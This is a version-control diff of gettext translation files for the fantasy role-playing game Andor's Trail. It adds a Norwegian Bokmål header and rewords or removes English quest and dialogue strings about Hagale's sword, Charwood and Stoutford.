@@ -31362,10 +31227,6 @@ msgstr ""
msgid "Smoked sausage"
msgstr ""
#: itemlist_stoutford_combined.json:smoked-sausage:description
msgid "It smells... smokey."
msgstr ""
#: itemlist_stoutford_combined.json:pickled-cabbage
msgid "Pickled cabbage"
msgstr ""
@@ -36366,11 +36227,11 @@ msgid "Destined for great things"
msgstr ""
#: questlist_v070_charwood.json:charwood1:10
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, has had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, have had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgstr ""
#: questlist_v070_charwood.json:charwood1:11
msgid "I heard someone mention that the mining town of Charwood heights has had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgid "I heard someone mentioning that the mining town of Charwood heights have had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgstr ""
#: questlist_v070_charwood.json:charwood1:19
@@ -36398,7 +36259,7 @@ msgid "I encountered one of the monsters that Maevalia spoke of. The monster spo
msgstr ""
#: questlist_v070_charwood.json:charwood1:41
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him from the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him of the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:42
@@ -36406,7 +36267,7 @@ msgid "I have found some skeletal remains, containing a ring with the insignia '
msgstr ""
#: questlist_v070_charwood.json:charwood1:43
msgid "I have found the armorer Fayvara, and freed her from the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgid "I have found the armorer Fayvara, and freed her of the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:44
@@ -36422,7 +36283,7 @@ msgid "She told me that both Falothen and Fayvara are anxious to see me, in the
msgstr ""
#: questlist_v070_charwood.json:charwood1:65
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one- or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgstr ""
#: questlist_v070_charwood.json:charwood1:70
@@ -36982,7 +36843,7 @@ msgid "The traveler told me that Hagale in the Wood settlement might know how to
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:35
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:40
@@ -37002,7 +36863,7 @@ msgid "I killed the undead and took the key."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:80
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:90
@@ -37013,14 +36874,6 @@ msgstr ""
msgid "Hagale tried to rob me and take the sword. He lost his wife and daughter and wasn't thinking straight. I gave him the sword without a fight."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:100
msgid "Hagale wanted some of the gold I got from selling the sword. It seemed fair to give him a share."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:105
msgid "Hagale tried to rob me of the gold I got from selling the sword. I had no choice but to kill him. "
msgstr ""
#: questlist_graveyard1.json:waterwayacave
msgid "Just the beginning"
msgstr ""
@@ -37029,10 +36882,6 @@ msgstr ""
msgid "In a lonely house east of Loneford, I met an old man named Cithurn."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:12
msgid "Cithurn told me he needs an experienced fighter to help with his problem."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:15
msgid "Cithurn told me that the surrounding forest has been under invasion by monsters for several weeks."
msgstr ""
@@ -37050,7 +36899,7 @@ msgid "Cithurn did not remember if the forest invasion began before the events i
msgstr ""
#: questlist_graveyard1.json:waterwayacave:35
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgstr ""
#: questlist_graveyard1.json:waterwayacave:40
@@ -37146,19 +36995,7 @@ msgid "Purchased potion of lightning attack"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:160
msgid "Mentioned Remgard - Teksin"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:170
msgid "Been to Remgard"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:180
msgid "Talked to Yolgen about the castle"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:190
msgid "Talked to Yolgen about Flagstone"
msgid "Mentioned Remgard"
msgstr ""
#: questlist_guynmart.json:guynmart
@@ -37884,10 +37721,6 @@ msgstr ""
msgid "Blornvale drank the potion."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:71
msgid "Tahalendor came to hear Blonvale confession."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:72
msgid "Blornvale confessed to killing Aryfora's father. Unfortunately there is no witness."
msgstr ""
@@ -37896,14 +37729,6 @@ msgstr ""
msgid "Blornvale now understands what you were trying to do. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:75
msgid "Tahalendor wouldn't believe your story. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:76
msgid "It's all your fault that Aryfora is crying now."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:80
msgid "Blornvale confessed to killing Aryfora's father in the presence of Tahalendor."
msgstr ""
@@ -38311,7 +38136,7 @@ msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:20
msgid ""
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave her hiding place.\n"
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave the hiding place.\n"
"She was looking for Lord Berbanes helmet, which he had forgotten somewhere in the castle."
msgstr ""
@@ -38328,7 +38153,7 @@ msgid "You found the helmet."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:60
msgid "Once back in Stoutford Gyra knew the way and ran to her father Odirath."
msgid "Back in Stoutford Gyra knew the way and ran to her father Odirath."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:70

View File

@@ -1,3 +1,22 @@
msgid ""
msgstr ""
"Project-Id-Version: Andors Trail\n"
"POT-Creation-Date: Sun Nov 10 11:14:56 CET 2013\n"
"PO-Revision-Date: 2017-11-30 00:49+0000\n"
"Last-Translator: Allan Nordhøy <epost@anotheragency.no>\n"
"Language-Team: Norwegian Bokmål <https://hosted.weblate.org/projects/andors-"
"trail/game-content/nb_NO/>\n"
"Language: nb_NO\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 2.18-dev\n"
#: [none]
msgid "translator-credits"
msgstr "Allan Nordhøy"
#: actorconditions_v069.json:bless
msgid "Bless"
msgstr "Velsigne"
@@ -2856,7 +2875,7 @@ msgid "Hello again. Have you found the former warden in Flagstone yet?"
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:0
msgid "I slew the former warden and found a peculiar necklace among his remains."
msgid "I slew the fomer warden and found a peculiar necklace among his remains."
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:2
@@ -4632,7 +4651,7 @@ msgstr ""
#: conversationlist_jolnor.json:jolnor_gaintrust_13:0
#: conversationlist_stoutford_combined.json:odirath_3_1:3
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:3
msgid "Maybe."
msgstr ""
@@ -5570,7 +5589,7 @@ msgstr ""
#: conversationlist_talion_2.json:talion_cured_1:1
#: conversationlist_maevalia.json:maevalia_r0:1
#: conversationlist_maevalia.json:maevalia15:0
#: conversationlist_stoutford.json:tahalendor2_10
#: conversationlist_stoutford.json:tahalendor2_0
msgid "What now?"
msgstr ""
@@ -6749,7 +6768,6 @@ msgstr ""
#: conversationlist_elwyl.json:elwyl_8:1
#: conversationlist_lodar.json:lodar_5:0
#: conversationlist_stoutford.json:soutford_gateguard_what_1:0
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford.json:yolgen_rumblings10_5:1
msgid "Is there anything I can do to help?"
msgstr ""
@@ -9390,7 +9408,7 @@ msgid "I talked to Benbyr and heard the story about you two."
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1
msgid "Hello there. You wouldn't happen to want to help an old shepherd would you?"
msgid "Hello there. You wouldn't happen to want to help an old shepherd do you?"
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1:0
@@ -9547,7 +9565,7 @@ msgid "Depends on what I get in return."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_2:2
msgid "I try to help people wherever they might need help."
msgid "I try to help people where ever they might need help."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_3_1
@@ -9585,7 +9603,7 @@ msgid "A while ago, I did some business with a certain man called Tinlyn, over h
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_5
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that was mutually beneficial and the guards did not know about it."
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that it was mutually beneficial that the guards did not know about it."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_6
@@ -21493,7 +21511,6 @@ msgid "I have a feeling that we'll meet there, wherever that is."
msgstr ""
#: conversationlist_halvor_surprise.json:halvor_mlake_leaving:2
#: conversationlist_graveyard1.json:algore_special2:0
msgid "Good luck!"
msgstr ""
@@ -21778,6 +21795,12 @@ msgstr ""
msgid "I cleared Flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0
msgid "Walk in the shadow kid. I have to apologize for my master, Tahalendor."
msgstr ""
@@ -21790,12 +21813,6 @@ msgstr ""
msgid "Can you explain?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0:2
#: conversationlist_stoutford.json:yolgen_rumblings20_0:1
#: conversationlist_stoutford.json:yolgen_rumblings50_0:2
msgid "Let us talk about something different."
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_1
msgid "My master is wise and old, but his sight is not as sharp as it once was. He took you for someone else."
msgstr ""
@@ -22285,10 +22302,6 @@ msgstr ""
msgid "If I must. Well, go ahead, I'll be there when you get there."
msgstr ""
#: conversationlist_stoutford.json:tahalendor2_20
msgid "Well, I don't really believe it, but we could try. Blornvale, how did you kill Aryforas father, your own brother?"
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_10
msgid "Hey, did you try to open that treasure chest?"
msgstr ""
@@ -22314,11 +22327,11 @@ msgid "Undead? I would love to hear the rest of your story but I am on a mission
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_30
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40:0
@@ -22330,7 +22343,7 @@ msgid "That is all I know . . . Come to think of it . . . Hagale from the Wood S
msgstr ""
#: conversationlist_graveyard1.json:algore_10
msgid "Oh yeah? What's it to you kid? BURP... If you want to know, it will cost you two bottles of Lowynas special brew."
msgid "Oh yeah? What's it to you kid? BURP...If you want to know, it will cost you two bottles of Lowynas special brew."
msgstr ""
#: conversationlist_graveyard1.json:algore_20
@@ -22340,12 +22353,12 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_30
msgid ""
"I thought nothing more of it. I was a simple trader in Loneford with a beautiful wife and daughter.\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
msgstr ""
#: conversationlist_graveyard1.json:algore_40
msgid ""
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"I realized that she wouldn't make it.\n"
"I watched as she suffered in agonizing pain. I knew without treatment she would die in a matter of weeks."
msgstr ""
@@ -22370,12 +22383,8 @@ msgstr ""
msgid "I heard you were interested in that unattended treasure chest by the Waterway house."
msgstr ""
#: conversationlist_graveyard1.json:algore_00:2
msgid "Don't breathe on me! I'm leaving!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99
msgid "You actually opened the chest? That sword must be worth a lot of money... could buy a lot of Lowyna's special brew... Sorry kid, but I need that sword!"
msgid "You actually opened the chest? That sword looks expensive . . . could buy a lot of Lowyna's special brew . . . sorry kid, but I need that sword!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:0
@@ -22383,15 +22392,7 @@ msgid "I went through hell to get this sword. I won't give it to you without a f
msgstr ""
#: conversationlist_graveyard1.json:algore_99:1
msgid "I went through a lot to get this sword... but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:algore_99:2
msgid "Yes, I have the sword, see here!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:3
msgid "I did find the sword, but I don't have it anymore."
msgid "I went through a lot to get this sword . . . but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_99
@@ -22424,7 +22425,7 @@ msgid "You think to yourself . . ."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest3:0
msgid "Nothing my weapon couldnt handle."
msgid "Nothing my weapon couldnt handle."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest4
@@ -22436,7 +22437,7 @@ msgid "The text begins to radiate light. The ground begins to shake as darkness
msgstr ""
#: conversationlist_graveyard1.json:graveyardwall_1a
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgstr ""
#: conversationlist_graveyard1.json:graveyardking_1
@@ -22492,7 +22493,7 @@ msgid "The text described a cemetery sealed by magic to contain a powerful undea
msgstr ""
#: conversationlist_graveyard1.json:algore_85
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour... it was putrid."
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour . . . it was putrid."
msgstr ""
#: conversationlist_graveyard1.json:algore_86
@@ -22500,7 +22501,7 @@ msgid "Suddenly, a horde of undead attacked me. I fought them off as best I coul
msgstr ""
#: conversationlist_graveyard1.json:algore_87
msgid "(Hagale finishes the second bottle of Lowynas special brew)... Sure do. I hope you know what youre doing kid."
msgid "(Hagale finishes the second bottle of Lowynas special brew) . . . Sure do. I hope you know what youre doing kid."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest5
@@ -22512,7 +22513,7 @@ msgid "Good luck."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day... it helps me forget."
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day . . . it helps me forget."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b:0
@@ -22649,7 +22650,7 @@ msgid "I haven't found out what is happening yet, but I wanted to let you know I
msgstr ""
#: conversationlist_graveyard1.json:algore_01
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgstr ""
#: conversationlist_graveyard1.json:algore_11
@@ -22658,7 +22659,7 @@ msgid ""
"\n"
"(Hagale immediately opens one of the bottles and takes a big swig, which he loudly swallows before wiping his mouth on the sleeve of his tattered shirt)\n"
"\n"
"Yeah, I know something about that chest... BURP... I almost opened it."
"Yeah, I know something about that chest . . . BURP . . . I almost opened it."
msgstr ""
#: conversationlist_graveyard1.json:algore_31
@@ -22683,18 +22684,20 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_32
msgid ""
"We were only halfway there when we were attacked by Plaguestriders. My daughter and I managed to escape...\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)... but my wife did not survive."
"We were only halfway there we were attacked by Plaguestriders. My daughter and I managed to escape\n"
". . .\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)\n"
". . . but my wife did not survive."
msgstr ""
#: conversationlist_graveyard1.json:algore_33
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through... but although the blisters were gradually healing, my daughter's health continued to decline."
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through . . . but although the blisters were gradually healing, my daughter's health continued to decline."
msgstr ""
#: conversationlist_graveyard1.json:algore_41
msgid ""
"I had to do something. I went to Fallhaven and begged Thoronir to make me a Bonemeal potion. Although it would have cured my daughter completely, he refused because Lord Geomyr banned all use of Bonemeal as a healing substance!\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
msgstr ""
#: conversationlist_graveyard1.json:algore_51
@@ -22717,14 +22720,6 @@ msgstr ""
msgid " Maybe he knows more. You should give him a visit."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:0
msgid "OK, I'll do that."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:1
msgid "Where is the Wood settlement?"
msgstr ""
#: conversationlist_graveyard1.json:cithurn_62
msgid "Well $playername, you are young, and you apologized, so perhaps I will be a little forgiving. Just remember that not everywhere is like your small village. My name is Cithurn."
msgstr ""
@@ -22940,7 +22935,7 @@ msgid "Is there something I can help you with?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1
msgid "No. Is there anything else?"
msgid "No. Is there anythng else?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1:0
@@ -23042,7 +23037,7 @@ msgid "The Guardian stares at you. You feel a sense of dread, but you resist the
msgstr ""
#: conversationlist_graveyard1.json:cithurn_130
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgstr ""
#: conversationlist_graveyard1.json:old_clothes_1
@@ -23077,62 +23072,6 @@ msgstr ""
msgid "There is nothing left to take from the corpse."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61
msgid "South of the Duleian road, close to Fallhaven."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61:0
msgid "OK. I'll go there now."
msgstr ""
#: conversationlist_graveyard1.json:algore_99c
msgid "Hey kid! Stop waving that thing at me! If you want to talk to me, put it away first!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d
msgid "So where is it?"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:0
msgid "I dropped it somewhere."
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:1
msgid "I sold it."
msgstr ""
#: conversationlist_graveyard1.json:algore_99e
msgid "Not too bright, are you kid? Perhaps you should go and pick it up again."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f
msgid "I gave you the text you needed to get that sword. I think some of that gold should be mine. If you don't give me some then I'll take it from you."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:0
msgid "OK, OK. I guess it's fair that you should get a share. Here's 1000 gp."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:1
msgid "No way! I fought to get the sword, and the profit is mine!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99g
msgid "Thanks kid. It's good to see you have some honor."
msgstr ""
#: conversationlist_graveyard1.json:algore_special2
msgid "Thanks for the gold kid. I decided that with the money I can rebuild my life. I'm going to sober up and start trading again. I'll be leaving here soon."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i
msgid "We'll see about that."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i:0
msgid "Yes, we will!"
msgstr ""
#: conversationlist_guynmart.json:guynmart_haystack
msgid "This is a haystack."
msgstr ""
@@ -24366,7 +24305,7 @@ msgid "OK, just a second."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40
msgid "Be welcome, $playername. I am Rorthron, the world's most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgid "Be welcome, $playername. I am Rorthron, world most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40:0
@@ -24548,7 +24487,6 @@ msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_steward3_24:0
#: conversationlist_stoutford_combined.json:berbane_110:0
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90:0
msgid "But ..."
msgstr ""
@@ -26256,7 +26194,7 @@ msgid "Sorry. I haven't seen anyone that looks like you. "
msgstr ""
#: conversationlist_trader_teksin.json:teksin30
msgid "I have been out in the wild for while, and have seen nobody since I left the main road weeks ago."
msgid "I have been out in the wilds for while, and have seen nobody since I left the main road weeks ago."
msgstr ""
#: conversationlist_trader_teksin.json:teksin40
@@ -26264,7 +26202,7 @@ msgid "I decided that I should find a better route to Remgard. The road through
msgstr ""
#: conversationlist_trader_teksin.json:teksin50
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close. It's north across this lake, but there is no way to cross, or to go further east around the lake."
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close, north across this lake, but there is no way to cross, or to go further east around the lake."
msgstr ""
#: conversationlist_trader_teksin.json:teksin50:0
@@ -26325,7 +26263,7 @@ msgid "OK. Show me what you have."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100
msgid "For you, I will offer the special price of 4999 gold."
msgid "For you, I will offer the special price of 4999gp."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100:0
@@ -26359,7 +26297,7 @@ msgid "Thanks for the advice. I need to go now."
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_0
msgid "Welcome to our wonderful Inn. How can we help you?"
msgid "Welcome to Stoutford kid. "
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_1
@@ -26410,10 +26348,6 @@ msgstr ""
msgid "Why are monster attacks increasing?"
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_4:3
msgid "Thanks for the information. I have to leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:cornith_0
msgid "Hello, welcome to my shop"
msgstr ""
@@ -26474,7 +26408,7 @@ msgid ""
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_5
msgid "He told me that it is very far from here, to the northeast, beyond the river and the mountains."
msgid "He told me that it is very far from here, beyond the river and the mountains."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_6
@@ -26885,7 +26819,7 @@ msgid "Yes, I have dealt with most of the trolls. They won't dare to bother you
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4
msgid "Thank you so much! I wish you safe travels back to Stoutford. If you want to go to the glade next time you are in Remgard, just ask me for the key."
msgid "Thank you so much! If ever you want to go to the glade, just ask me for the key."
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4:0
@@ -27061,7 +26995,7 @@ msgid "Who are "they"?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_9
msgid "Our priest, Tahalendor, was convinced by my uncle, Blornvale, my father's own brother."
msgid "Our priest, Talahendor, was convinced by my uncle, Blornvale, my father's own brother."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_10
@@ -27212,7 +27146,7 @@ msgid "You are right. We need a credible witness ..."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2
msgid "Best would be Tahalendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgid "Best would be Talahendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2:0
@@ -27238,7 +27172,6 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns74_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70
msgid "Any news about the murderer?"
msgstr ""
@@ -27372,7 +27305,7 @@ msgid "That's all children's stuff"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3
msgid "What did you expect? You are a kid after all. I can't give you strong potions!"
msgid "What did you expect? You are a kid after all. I must not give strong potions to you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:0
@@ -27380,7 +27313,9 @@ msgid "You are right. Have a nice day."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:1
msgid "It is not for me of course. My father and his men are fighting in Flagstone right now. They urgently need some useful potions, not soap! I think three potions of the brave would do it, if you happen to have them. And possibly more, if it is good stuff."
msgid ""
"It is not for me of course. My father and his men are fighting in Flagstone right now. They need urgently some useful potions, not soap!\n"
"I think of three potions of the brave, if you happen to have. And more if it is good stuff."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4
@@ -27388,7 +27323,7 @@ msgid "Ah. Oh. That changes everything. Wait a second."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4:0
msgid "I'm in a hurry."
msgid "Look lively now."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_shop2
@@ -27485,6 +27420,14 @@ msgstr ""
msgid "I have heard enough. Thank you, kid. I will ensure that Blornvale never makes trouble again."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns74
msgid "You dare to come here again?"
msgstr ""
@@ -27630,7 +27573,6 @@ msgid "The path to Blackwater mountain was cut off by a rock fall. That stopped
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_2:0
#: conversationlist_stoutford_combined.json:odirath_1_4:3
msgid "How do I get to Blackwater mountain?"
msgstr ""
@@ -27650,10 +27592,6 @@ msgstr ""
msgid "Thanks. What about the monsters?"
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_3:2
msgid "Thanks for the information. Please show me what you have to trade."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_4
msgid "They started attacking the town recently. Nobody is sure why. Their attacks have been unsuccessful, so we are all hoping that they will give up soon and go back to wherever they came from."
msgstr ""
@@ -27667,7 +27605,7 @@ msgid "Thanks. I'm looking for my brother, Andor. Has anyone new been through he
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2
msgid "Yes, indeed. My daughter has not come home for some days. I don't know what's happened to her."
msgid "Yes, indeed. My daughter has not come home for some days. I do not know what's wrong with her."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2:0
@@ -27802,11 +27740,6 @@ msgstr ""
msgid "And bonemeal is forbidden."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4:2
#: conversationlist_stoutford_combined.json:yolgen_4a:1
msgid "I will clear the castle of undead for you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4a
msgid "Yes, incredible! Although kids like you should not play with such things."
msgstr ""
@@ -27847,10 +27780,6 @@ msgstr ""
msgid "That dreadful place has been left abandoned ever since. Recently, however, undead have started pouring out of the prison, and we had to send guards to keep them away from the road. "
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:0
msgid "I took care of that"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:1
msgid "Can I help you with Flagstone?"
msgstr ""
@@ -27887,11 +27816,6 @@ msgstr ""
msgid "That sounds dreadful. Can I help you with the castle?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_1
msgid "Well, you already were of great help. Thank you again!"
msgstr ""
@@ -27916,10 +27840,6 @@ msgstr ""
msgid "OK. I will go to the prison."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_1:1
msgid "I cleared flagstone of an evil demon."
msgstr ""
